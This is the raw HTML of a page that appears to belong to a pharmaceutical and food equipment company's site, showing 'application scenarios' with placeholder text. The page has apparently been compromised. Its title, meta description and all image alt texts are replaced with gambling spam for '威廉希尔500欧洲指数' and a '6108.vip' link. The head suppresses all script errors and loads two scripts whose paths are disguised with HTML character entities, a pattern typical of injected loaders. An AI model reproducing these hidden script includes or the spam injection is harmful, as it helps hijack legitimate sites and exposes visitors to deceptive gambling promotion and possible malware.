<!DOCTYPE html>
<html lang="en">
<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script><meta name="format-detection" content="telephone=no,email=no,adress=no">
    <meta charset="utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta id="viewport" name="viewport" />
    <title>威廉希尔500欧洲指数官网 - williamhill8.com</title><meta name="keywords" content="威廉希尔500欧洲指数" /><meta name="description" content="🧧️【发财入口 6108.vip】🧧9️⃣威廉希尔500欧洲指数官网 - williamhill8.com,威廉希尔500欧洲指数所有的管理都是通过互联网来实现,威廉希尔500欧洲指数以现场游戏、电子游戏及体育网页游戏荣登西南之最,威廉希尔500欧洲指数通过引进各种优质流行的线上娱乐游戏,拥有精彩的运动博弈项目,服务周到的企业宗旨为广大游戏游戏爱好者服务。" />
    
    
    <link rel="stylesheet" href="/web/css/base.css" />
    <link rel="stylesheet" href="/web/css/bases.css" />
    <!--<link rel="stylesheet" href="/web/css/index.css" />-->
    <link rel="stylesheet" href="//at.alicdn.com/t/c/font_3897920_ppky76mehcl.css">
    <meta name="msvalidate.01" content="89151253B75FB8D446E71C35C344B9CC" />
    <style>
        .logo-head{
                line-height: 80px;
    transform: translateY(-4px);
        }
    </style>

<script  type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#118;&#117;&#101;&#46;&#109;&#105;&#110;&#46;&#106;&#115;"></script>
</head>
<body><nav style="text-align: center;background-color: #bbdaa1;color: #333;"><a href="/"><h1>威廉希尔500欧洲指数官网 - williamhill8.com</h1></a></nav>
  <div class="head-box headbox">
    <a href="/" class="logo-head"><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="logo" src="https://webfiles.qixinsz.com/dongfulong/storage/uploads/20230311/602a375431d051946cda37751f0dbab4.png" ></a>

    <ul class="ul-box">
      <!-- <li>
        <div class="input-box">
          <input type="text" placeholder="请输入关键词"><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="input-search" src="image/hei.svg" >
        </div>
      </li> -->
      <!--<li><a class="skip" href="/">首页</a></li>-->
      <li><a class="skip" href="/api/about.html">关于我们</a>
        <div class="heada_list">
            <div class="heada_left">
                <div class="top_a">
                    <a href="/api/about.html">威廉希尔500欧洲指数介绍</a>
                </div>
                <div class="top_a"><a href="/api/overall/">全球布局</a></div>
                <div class="top_a">
                    <a href="/api/manage.html">企业文化</a>
                </div>
                <div class="top_a">
                    <a href="/api/mass.html">质量理念</a>
                </div>
                <!--<div class="top_a">-->
                <!--    <a href="/api/tech.html">技术理念</a>-->
                <!--</div>-->
                <div class="top_a">
                    <a href="/api/culture.html">品牌故事</a>
                </div>
                
            </div>
        </div>
      </li>
      <li class="yy1">
        <a class="skip" href="/api/scene.html">应用场景</a>
        <div class="heada_list">
          <!-- 二级分类 -->
          <div class="heada_left">
          </div>
        </div>
      </li>
      <li class="yy2"><a class="skip" href="/api/product/">产品中心</a>
      <div class="heada_list">
          <!-- 二级分类 -->
          <div class="heada_left">
          </div>
        </div></li>
      <li class="yy3"><a class="skip" href="/api/cases.html">前沿案例</a>
      <div class="heada_list">
          <!-- 二级分类 -->
          <div class="heada_left">
          </div>
        </div>
      </li>
      <li><a class="skip" href="/api/invest.html">投资者关系</a>
      <div class="heada_list">
            <div class="heada_left">
                <div class="top_a">
                    <a href="/api/invest.html">投资简介</a>
                </div>
                <div class="top_a">
                    <a href="/api/invest_w.html">集团年报</a>
                </div>
                <div class="top_a">
                   <a href="/api/invest_q.html">集团公告</a>
                </div>
                <div class="top_a">
                    <a href="/api/invest_e.html">交流咨询</a>
                </div>
            </div>
        </div>
      </li>
      <li><a class="skip" href="/api/news.html">新闻与媒体</a>
      <div class="heada_list">
            <div class="heada_left">
                <div class="top_a">
                    <a href="/api/news_cate_id_1.html">集团资讯</a>
                </div>
                <div class="top_a">
                    <a href="/api/news_cate_id_2.html">市场活动</a>
                </div>
            </div>
        </div></li>
         <li><a class="skip" href="/api/contact_type_2.html">联系我们</a>
      <div class="heada_list">
            <div class="heada_left">
                <div class="top_a">
                   <a href="/api/contact_type_2.html">国际市场</a>
                </div>
                <div class="top_a">
                   <a href="/api/contact_type_1.html">中国市场</a>
                </div>
                <div class="top_a">
                    <a href="/api/message.html">服务支持</a>
                </div>
            </div>
        </div></li>
      <li><a class="skip" href="/api/school.html">加入我们</a><div class="heada_list">
            <div class="heada_left">
                <div class="top_a">
                   <a href="/api/school.html">校园招聘</a>
                </div>
                <div class="top_a">
                    <a href="/api/society.html">社会招聘</a>
                </div>
                <div class="top_a">
                   <a href="/api/build.html">人才建设</a>
                </div>
            </div>
        </div></li>
     
    </ul>
    <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="search" src="/web/image/search.png" >-->
    <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="hei-search" src="/web/image/hei.png" >-->
    <div class="language">
        <div class="langmenu">
            <a class="skip flex" href="javascript:;">
                <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/language-china.png"/>-->
            <span>CN</span>
            </a>
            <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/go.svg" class="pa"/>
        </div>
        <div class="lang_box">
                        <a href="/" rel="nofollow" class="lang_a">
                <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src=""/>-->
                <span>JP</span>
            </a>
                        <a href="/" rel="nofollow" class="lang_a">
                <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src=""/>-->
                <span>EN</span>
            </a>
                    </div>
    </div>
    <div class="switch-box">
      <span></span>
      <span></span>
      <span></span>
    </div>
    <!--手机端导航-->
    <div class="phone-view">
        <div class="phone-ul">
            <div class="phone-li">
                <div class="phone-a"><a href="/">首页</a></div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">关于我们</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                    <div class="phone-item"><a href="/api/about/">威廉希尔500欧洲指数介绍</a></div>
                    <div class="phone-item"><a href="/api/overall/">全球布局</a></div>
                    <div class="phone-item"><a href="/api/manage/">企业文化</a></div>
                    <div class="phone-item"><a href="/api/mass/">质量理念</a></div>
                    <!--<div class="phone-item"><a href="/api/tech">技术理念</a></div>-->
                    <div class="phone-item"><a href="/api/culture/">品牌故事</a></div>
                </div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">应用场景</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list yid1">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                </div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">产品中心</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list yid2">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                </div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="/api/cases/">前沿案例</a></div>
            </div>
             <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">投资者关系</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                    <div class="phone-item"><a href="/api/invest/">投资简介</a></div>
                    <div class="phone-item"><a href="/api/invest_w.html">集团年报</a></div>
                    <div class="phone-item"><a href="/api/invest_e.html">投资者联络</a></div>
                </div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">新闻与媒体</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                    <div class="phone-item"><a href="/api/news/">集团咨询</a></div>
                    <div class="phone-item"><a href="/api/news_cate_id_2.html">市场活动</a></div>
                </div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">联系我们</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                    <div class="phone-item"><a href="/api/contact_type_2.html">国际市场</a></div>
                    <div class="phone-item"><a href="/api/contact_type_1.html">中国市场</a></div>
                    <div class="phone-item"><a href="/api/message/">服务支持</a></div>
                </div>
            </div>
            <div class="phone-li">
                <div class="phone-a"><a href="javascript:;">加入我们</a><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/go.svg'></div>
                <div class="phone-list">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>
                    <div class="phone-item"><a href="/api/school/">校园招聘</a></div>
                    <div class="phone-item"><a href="/api/society/">社会招聘</a></div>
                    <div class="phone-item"><a href="/api/build/">人才建设</a></div>
                </div>
            </div>
            
        </div>
    </div>
  </div>
  <script src="/web/js/wow.min.js"></script>
  <script src="/web/js/jquery.min.js"></script>
<script src="/web/js/universal.js"></script>
<script>
$('.ul-box li').each(function(index,item){
    if(index==0){
        return true
    }
    if(item==$('.yy1')[0]||item==$('.yy2')[0]){
        return true
    }else{
        let qa = item.getBoundingClientRect().left
        if(item.getElementsByClassName('heada_left')[0]){
            item.getElementsByClassName('heada_left')[0].style=`left:${qa+item.offsetWidth/2}px;transform:translateX(-50%)`
        }
    }
})
$('.head-box .language').click(function(e){
    e.preventDefault()
    $(this).toggleClass('checka')
})
$('.head-box .language .lang_box').click(function(e){
    e.stopPropagation()
    $(this).toggleClass('checka')
})
var data=[]
var datas=[]
var urls=''
if(window.location.pathname==='/'){
    urls='api/'
}else{
    urls=''
}
    $.ajax({
        url:urls+'Scene/cate_list',
        type:'POST',
        success:function(res){
            data=res.data
            if($(window).width()>600){
                let obj=''
                let url="/api/scenedetails"
                $(res.data).each(function(index,e){
                if(index==0){
                     obj+=`<div class="top_a"><a href="${e.url?url+'?id='+e.id:'javascript:;'}" class='active' data-i="${index}">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="${e.image1}"/><span>${e.title}</span></a><div class="toplist">`
                    if(e.son){
                        $(e.son).each(function(i,a){
                         obj+=`<a href="${a.url?url+'?id='+a.id:`/api/scenedetail?id=${a.id}`}">${a.title}</a>`
                        })
                    }
                    
                obj+=`</div></div>`
                //     obj+=`<a href="javascript:;" class='active' data-i="${index}">
                // <span>${e.title}</span><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg" ></a>`
                }else{
                    obj+=`<div class="top_a"><a href="${e.url?url+'?id='+e.id:'javascript:;'}" data-i="${index}">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="${e.image1}"/><span>${e.title}</span></a><div class="toplist">`
                    if(e.son){
                        $(e.son).each(function(i,a){
                         obj+=`<a href="${a.url?url+'?id='+a.id:`/api/scenedetail?id=${a.id}`}">${a.title}</a>`
                    
                        })
                    }else{
                        
                    }
                obj+=`</div></div>`
                //     obj+=`<a href="javascript:;" data-i="${index}">
                // <span>${e.title}</span><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg" ></a>`
                }
                
            })
            $('.ul-box .yy1').find('.heada_list .heada_left').html(obj)
            // getright($('.ul-box .yy1').find('.heada_list .heada_right'),res.data[0].son)
            }else{
                let objs=`<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>`
                let url="/api/scenedetails"
                $(res.data).each(function(index,e){
                    if(index==0){
                    objs+=`<div class="phone-item"><a href="${e.url?url+'?id='+e.id:'/api/scene/'}">${e.title}</a></div>`
                }else{
                    objs+=`<div class="phone-item"><a href="${e.url?url+'?id='+e.id:`/api/scene?index=${index}`}">${e.title}</a></div>`
                }
            })
            $('.yid1').html(objs)
            }
        }
    })
    $.ajax({
        url:urls+'Product/cate_list',
        type:'POST',
        data:{pid:0},
        success:function(res){
            if($(window).width()>600){
                let obj=''
                let url="/api/scenedetails"
            datas=res.data
            $(res.data).each(function(index,e){
                if(index==0){
                    if(e.id==5){
                        obj+=`<div class="top_a"><a href="/api/productlabo?id=${e.id}" class='active' data-i="${index}">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="${e.image2}"/><span>${e.title}</span></a><div class="toplist">`
                $(e.son).each(function(i,a){
                         obj+=`<a href="/api/productlabodetail?id=${a.id}">${a.title}</a>`
                    
                })
                obj+=`</div></div>`
                //         obj+=`<a href="/api/productlabo?id=${e.id}" class='active' data-i="${index}">
                // <span>${e.title}</span><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg" ></a>`
                    }else{
                //          obj+=`<a href="/api/products?id=${e.id}" class='active' data-i="${index}">
                // <span>${e.title}</span><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg" ></a>`
                 obj+=`<div class="top_a"><a href="/api/products?id=${e.id}" class='active' data-i="${index}">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="${e.image2}"/><span>${e.title}</span></a><div class="toplist">`
                $(e.son).each(function(i,a){
                        obj+=`<a href="/api/products?id=${a.id}">${a.title}</a>`
                })
                obj+=`</div></div>`
                    }
                    
                }else{
                    if(e.id==5){
                        obj+=`<div class="top_a"><a href="/api/productlabo?id=${e.id}" data-i="${index}">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="${e.image2}"/><span>${e.title}</span></a><div class="toplist">`
                $(e.son).each(function(i,a){
                         obj+=`<a href="/api/productlabodetail?id=${a.id}">${a.title}</a>`
                    
                })
                obj+=`</div></div>`
                //         obj+=`<a href="/api/productlabo?id=${e.id}" data-i="${index}">
                // <span>${e.title}</span><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg" ></a>`
                    }else{
                         obj+=`<div class="top_a"><a href="/api/products?id=${e.id}" data-i="${index}">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="${e.image2}"/><span>${e.title}</span></a><div class="toplist">`
                $(e.son).each(function(i,a){
                        obj+=`<a href="/api/products?id=${a.id}">${a.title}</a>`
                })
                obj+=`</div></div>`
                    }
                //         obj+=`<a href="/api/products?id=${e.id}" data-i="${index}">
                // <span>${e.title}</span><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg" ></a>`
                    }
                
            })
            $('.ul-box .yy2').find('.heada_list .heada_left').html(obj)
            // getrights($('.ul-box .yy2').find('.heada_list .heada_right'),res.data[0].son,0)
            }else{
                 let objs = `<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src='/web/image/next.svg'>`
                 let url="/api/scenedetails"
            $(res.data).each(function(index,e){
                
                if(e.id==5){
                    objs+=`<div class="phone-item"><a href="${e.url?url+'?id='+e.id:`/api/productlabo?id=${e.id}`}">${e.title}</a></div>`
                }else{
                    objs+=`<div class="phone-item"><a href="${e.url?url+'?id='+e.id:`/api/products?id=${e.id}`}">${e.title}</a></div>`
                }
            })
            $('.yid2').html(objs)
            }
            
        }
    })
    $.ajax({
        url:urls+'Cases/cases_list',
        type:'POST',
        success:function(res){
            let obj=''
            $(res.data).each(function(index,e){
                if(index>=4){
                    return
                }
                obj+=`<div class="top_a"><a href="/api/cases.html#q${e.id}">${e.title}</a></div>`
            })
            $('.ul-box .yy3').find('.heada_list .heada_left').html(obj)
        }
    })
    function getright(dom,a){
        let obj=''
        $(a).each(function(index,e){
            obj+=`<a href="/api/scenedetail?id=${e.id}">${e.title}</a>`
        })
        dom.html(obj)
    }
    $('.yy1 .heada_left').on('mouseover','a',function(){
        $('.yy1 .heada_left .active')&&$('.yy1 .heada_left .active').removeClass('active')
        $(this).addClass('active')
        // getright($('.ul-box .yy1').find('.heada_list .heada_right'),data[$(this).attr('data-i')].son)
    })
     function getrights(dom,a,c){
        let obj=''
        if(c){
            $(a).each(function(index,e){
            obj+=`<a href="/api/products?id=${e.id}">${e.title}</a>`
        })
        }else{
            $(a).each(function(index,e){
            obj+=`<a href="/api/productlabodetail?id=${e.id}">${e.title}</a>`
            })
        }
        dom.html(obj)
    }
    $('.yy2 .heada_left').on('mouseover','a',function(){
        $('.yy2 .heada_left .active')&&$('.yy2 .heada_left .active').removeClass('active')
        $(this).addClass('active')
        // getrights($('.ul-box .yy2').find('.heada_list .heada_right'),datas[$(this).attr('data-i')].son,$(this).index())
    })
</script>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>

<script  type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#106;&#113;&#117;&#101;&#114;&#121;&#46;&#99;&#100;&#110;&#46;&#106;&#115;"></script>
</body>
</html>

    <link rel="stylesheet" href="/web/css/swiper-bundle.min.css" />
    <link rel="stylesheet" href="/web/css/animate.css" />
    <link rel="stylesheet" href="/web/css/application-scenarios.css" />
    <link rel="stylesheet" href="/web/css/css.css" />
    <main class="contents">
      <div class="banner">
        <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/storage/uploads/20240607/a0d5491bded20256d92daaaa2cf0a1ea.jpg"  />
        <!--<h1 class="wow fadeInUp">应用场景</h1>-->
      </div>
      <nav class="content1 wow fadeInUp gunds">
        <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/home.svg"  />
        <a href="/">首页</a>&gt;<a href="/api/scene/" class="nav_a"
          >应用场景</a
        >
      </nav>
      <div class="appfloor1">
        <div class="content1 yiy wow fadeInUp">
          <div class="yiyo">
            <h1>应用场景</h1>
            <div class="yiyoimg flex">
            <p>
             威廉希尔500欧洲指数拥有四个核心事业部：生物工艺事业部、制剂装备事业部、工程事业部、食品工程事业部。能为小分子药物、大分子生物药物、细胞基因治疗药物以及原料药等多种药物类型的开发和生产过程中的不同工艺和剂型提供工艺设备、核心耗材以及技术支持。在制药工程领域提供制药厂房的咨询、设计、施工、验证、信息化、公用工程等服务。在食品领域，为乳制品、饮料、酒饮、保健品、食品添加剂等领域提供包括工艺技术研发、工程设计、设备制造、工程安装、培训服务在内的装备及交钥匙工程服务。            </p>
            <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/storage/uploads/20240425/45ff6e9feca6b37e2c60e5d18eb146eb.png"  />
            </div>
          </div>
        </div>

        <!-- <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="image/yingyong.png" > -->
      </div>
      <div class="appfloor2">
        <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/storage/uploads/20240606/40b84cf5ce30b9859e255853096aae79.jpg" style="width: 100%;" />
        <div class="content1 zhpin">
          <div class="zhpin_left wow fadeInLeft">
            <h4>高度定制化解决方案</h4>
            <h1>生物制品</h1>
            <h6>Educational Cell and Gene Therapy</h6>
            <p>
              文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案文案
            </p>
          </div>
          <div class="zhpin_right wow fadeInRight">
            <!-- 外部swiper导航 -->
            <div class="swipers_bt">
              <div class="swipe_top">
                <div class="swipe_num">
                  <h3>01</h3>
                  <h6>/03</h6>
                </div>
                <div class="swipe_bt">
                  <div class="swiper-button swiper-button-prev">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goleft.svg"  class="img1" />
                  </div>
                  <div class="swiper-button swiper-button-next">
                    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/goright.svg"  class="img1" />
                  </div>
                </div>
              </div>
              <div class="swiper-pagination"></div>
            </div>
            <div class="swiper">
              <div class="swiper-wrapper">
                <div class="swiper-slide">
                  <div class="swipers">
                    <div class="my-wrapper swiper-wrapper">
                      <a href="/api/id_1.html" class="my-slide">
                        <h3>抗体1</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体2</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体3</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体4</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体5</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                    </div>
                  </div>
                </div>
                <div class="swiper-slide">
                  <div class="swipers">
                    <div class="my-wrapper swiper-wrapper">
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体1</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体2</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体3</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体4</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                    </div>
                  </div>
                </div>
                <div class="swiper-slide">
                  <div class="swipers">
                    <div class="my-wrapper swiper-wrapper">
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体1</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体2</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体3</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体4</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体5</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体6</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
